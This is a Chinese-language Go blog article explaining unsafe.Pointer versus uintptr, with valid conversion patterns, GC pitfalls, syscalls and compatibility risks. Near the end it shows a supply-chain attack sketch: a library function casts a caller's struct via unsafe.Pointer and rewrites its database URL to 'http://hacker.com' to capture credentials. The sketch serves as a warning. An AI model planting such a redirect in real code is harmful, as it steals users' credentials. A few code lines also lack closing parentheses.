面試官:說說unsafe.Pointer和uintptr的區(qū)別和聯(lián)系
type Pointer
此類型表示指向任意類型的指針,這意味著,unsafe.Pointer 可以轉(zhuǎn)換為任何類型或 uintptr 的指針值。你可能會想: 有什么限制嗎?沒有,是的... 你可以轉(zhuǎn)換 Pointer 為任何你想要的,但你必須處理可能的后果。為了減少可能出現(xiàn)的問題,你可以使用某些模式:
“以下涉及 Pointer 的模式是有效的。不使用這些模式的代碼今天可能無效,或者將來可能無效。即使是下面這些有效的模式,也帶有重要的警告。” —— golang.org
你也可以使用 go vet,但是它不能解決所有的問題。因此,我建議你遵循這些模式,因為這是減少錯誤的唯一方法。
快速拷貝
如果兩種類型的內(nèi)存布局相同,為了避免內(nèi)存分配,你可以通過以下機制將類型 *T1 的指針轉(zhuǎn)換為類型 *T2 的指針,將類型 T1 的值復制到類型 T2 的變量中:
ptrT1?:=?&T1{}
ptrT2?=?(*T2)(unsafe.Pointer(ptrT1))
但是要小心,這種轉(zhuǎn)換是有代價的,現(xiàn)在兩個指針指向同一個內(nèi)存地址,所以每個指針的改變也會反應(yīng)到另一個指針上。可以通過這里驗證[1]。
unsafe.Pointer != uintptr
我已經(jīng)提到過,指針可以轉(zhuǎn)換為 uintptr 并轉(zhuǎn)回來,但是轉(zhuǎn)回來是有一些特殊的條件限制的。unsafe.Pointer 是一個真正的指針,它不僅保持內(nèi)存地址,包括動態(tài)鏈接的地址,但 uintptr 只是一個數(shù)字,因此它更小,但有代價。如果你轉(zhuǎn)換 unsafe.Pointer 為 uintptr 后,指針不再引用指向的變量,而且在將 uintptr 轉(zhuǎn)換回 unsafe.Pointer 變量之前,垃圾收集器可以輕松地回收該內(nèi)存。至少有兩種解決方案可以避免此問題。第一個更復雜的,但也真正顯示了,為了使用 unsafe 包,你必須犧牲什么。有一個特殊的函數(shù),runtime.KeepAlive 可以避免 GC 不恰當?shù)幕厥铡K犉饋砗軓碗s,而且使用起來更加復雜。這里為你準備了實際例子[2]。
指針算法
還有另一種方法避免 GC 不恰當回收。即在同一個語句中做以下事情:將 unsafe.Poniter 轉(zhuǎn)為 uintptr,以及將 uintptr 做其他運算,最后轉(zhuǎn)回 unsafe.Pointer 。因為 uintptr 只是一個數(shù)字,我們可以做所有特殊的算術(shù)運算,比如加法或減法。我們?nèi)绾问褂盟恐羔標惴ㄍㄟ^了解內(nèi)存布局和算術(shù)運算,可以得到任何需要的數(shù)據(jù)。讓我們來看看下一個例子:
x?:=?[4]byte{10,?11,?12,?13}
elPtr?:=?unsafe.Pointer(uintptr(unsafe.Pointer(&x[0]))?+?3*unsafe.Sizeof(x[0]))
有了指向字節(jié)數(shù)組第一個元素的指針,我們就可以在不使用索引的情況下獲得最后一個元素。如果將指針移動三個字節(jié),我們就可以得到最后一個元素。
因此,在一個表達式中執(zhí)行所有轉(zhuǎn)換可以省去 GC 清理的麻煩。上述三種模式說明了如何在不同情況下正確地轉(zhuǎn)換 unsafe.Pointer 為其他數(shù)據(jù)類型的指針。
Syscalls
在包 syscall 中,有一個函數(shù) syscall.Syscall 接收 uintptr 格式的指針的系統(tǒng)調(diào)用,我們可以通過 unsafe.Pointer 得到 uintptr。重要的是,你必須進行正確的轉(zhuǎn)換:
a?:=?&A{1}
b?:=?&A{2}
syscall.Syscall(0,?uintptr(unsafe.Pointer(a)),?uintptr(unsafe.Pointer(b)))?//?Right
aPtr?:=?uintptr(unsafe.Pointer(a)
bPtr?:=?uintptr(unsafe.Pointer(b)
syscall.Syscall(0,?aPtr,?bPtr)?//?Wrong
reflect.Value.Pointer 和 reflect.Value.UnsafeAddr
reflect 包中有兩個方法: Pointer 和 UnsafeAddr,它們返回 uintptr,因此我們應(yīng)該立即將結(jié)果轉(zhuǎn)換為 unsafe.Pointer,因為我們需要時刻“提防”我們的 GC 朋友:
p1?:=?(*int)(unsafe.Pointer(reflect.ValueOf(new(int)).Pointer()))?//?Right
ptr?:=?reflect.ValueOf(new(int)).Pointer()?//?Wrong
p2?:=?(*int)(unsafe.Pointer(ptr)?//?Wrong
reflect.SliceHeader 和 reflect.StringHeader
reflect 包中有兩種類型: SliceHeader 和 StringHeader,它們都具有字段 Data uintptr。正如你所記得的那樣,uintptr 通常與 unsafe.Pointer 聯(lián)系在一起,見下面代碼:
var?s?string
hdr?:=?(*reflect.StringHeader)(unsafe.Pointer(&s))
hdr.Data?=?uintptr(unsafe.Pointer(p))
hdr.Len?=?n
以上就是所有可能關(guān)于 unsafe.Pointer 使用的模式,所有不遵循這些模式或從這些模式派生的情況很可能是無效的。但是 unsafe 包不僅在代碼中而且在代碼之外都會帶來問題。讓我們回顧一下其中的幾個。
兼容性
Go 有兼容性指南[3],保證版本更新的兼容性。簡單地說,它保證你的代碼在升級后仍然可以工作,但是不能保證你已經(jīng)導入了 unsafe 的包。unsafe 包的使用可能會破壞你的代碼的每個版本: major,minor,甚至安全修補程序。所以在導入之前,試著想一下這樣一種情況:你的客戶問你為什么我們不能通過升級 Go 版本來消除漏洞,或者為什么在更新之后什么都不能工作了。
不同的行為
你知道所有的 Go 數(shù)據(jù)類型嗎?你聽說過 int 嗎?如果我們已經(jīng)有 int32 和 int64,為什么還有 int?實際上 int 類型是根據(jù)計算機體系結(jié)構(gòu)(x32 或 x64)將其轉(zhuǎn)換為 int32 或 int64 類型。所以請記住,unsafe 的函數(shù)結(jié)果和內(nèi)存布局在不同的架構(gòu)上可能是不同的,例如:
var?s?string
unsafe.Sizeof(s)?//?x32?上是?8,而?x64?上是?16
社區(qū)的情況
我想知道:如果這個包如此危險,有多少冒險者在使用它。我已經(jīng)在 GitHub[4] 上搜索過了。與 crypto[5] 或 math[6] 相比,數(shù)量并不多。其中超過一半的內(nèi)容是關(guān)于使用 unsafe 的方法的技巧和可能的偏差,而不是一些真正的用法。
Rust 社區(qū)有一個事件:一個叫 Nikolay Kim 的,他是 activex[7] 項目的創(chuàng)始人,在社區(qū)的巨大壓力下,將 activex 庫變成了私有。后來再公開該倉庫時,將其中一個貢獻者提升為所有者,然后離開[8]。所有這一切的發(fā)生都是因為一些人認為使用了 unsafe 包,這太危險不應(yīng)該使用。我知道 Go 社區(qū)目前沒有這種情況,而且 Go 社區(qū)里也沒有唯一正確的觀點。我想要提醒的是,如果你在代碼中導入了 unsafe 的代碼,請做好準備,社區(qū)可能會。。。
愛好者
有很多人和很多想法,這篇文章[9]展示了使用 int 和使用指針操作的新方法,簡而言之,它看起來像這樣:
var?foo?int
fooslice?=?(*[1]int)(unsafe.Pointer(&foo))[:]
對此,我不發(fā)表意見,我只會提到,你應(yīng)該注意導入 unsafe 可能的問題。
最后
我個人試著去思考 unsafe 帶來問題的可能性,這里有一個使用 unsafe 的例子。假設(shè)你導入了一些執(zhí)行某些有用操作的第三方包,比如將 DB 客戶端對象和日志記錄器包裝到一個實體中,以使所有操作的日志記錄更加容易,或者像我的例子中那樣,導入一些返回對象的動物的函數(shù)...
package?main
import?(
?"fmt"
?"third-party/safelib"
)
func?main()?{
?a?:=?safelib.NewA("https://google.com",?"1234")?//?Url?and?password
?fmt.Println("My?spiritual?animal?is:?",?safelib.DoSomeHipsterMagic(a))
?a.Show()
}
在這個函數(shù)中,我們將 interface{} 斷言為一些已知類型,并快速復制到一些 Malicious 類型,這些 Malicious 類型具有獲取和設(shè)置私有字段的方法,如 url 和密碼。所以這個包可以提取出所有有趣的數(shù)據(jù),甚至替換 url,這樣下次你嘗試連接到 DB 時,有人會獲得你的憑證。
func?DoSomeHipsterMagic(any?interface{})?string?{
?if?a,?ok?:=?any.(*A);?ok?{
??mal?:=?(*Malicious)(unsafe.Pointer(a))
??mal.setURL("http://hacker.com")
?}
?return?"Cool?green?dragon,?arrh???"
}
最后的最后,切記所有的技術(shù)都有一定的代價,但是 unsafe 技術(shù)尤其“昂貴”,所以我的建議是在使用它之前要三思。
參考資料
這里驗證: https://play.studygolang.com/p/bZGEHrHp4LM
[2]實際例子: https://play.studygolang.com/p/L7rgheqNo9w
[3]兼容性指南: https://docs.studygolang.com/doc/go1compat
[4]GitHub: https://github.com/search?l=Go&q=unsafe&type=Repositories
[5]crypto: https://github.com/search?l=Go&q=crypto&type=Repositories
[6]math: https://github.com/search?l=Go&q=math&type=Repositories
[7]activex: https://github.com/actix
[8]離開: https://github.com/actix/actix-web/issues/1289
[9]這篇文章: https://nullprogram.com/blog/2019/06/30/
推薦閱讀
我是 polarisxu,北大碩士畢業(yè),曾在 360 等知名互聯(lián)網(wǎng)公司工作,10多年技術(shù)研發(fā)與架構(gòu)經(jīng)驗!2012 年接觸 Go 語言并創(chuàng)建了 Go 語言中文網(wǎng)!著有《Go語言編程之旅》、開源圖書《Go語言標準庫》等。
堅持輸出技術(shù)(包括 Go、Rust 等技術(shù))、職場心得和創(chuàng)業(yè)感悟!歡迎關(guān)注「polarisxu」一起成長!也歡迎加我微信好友交流:gopherstudio
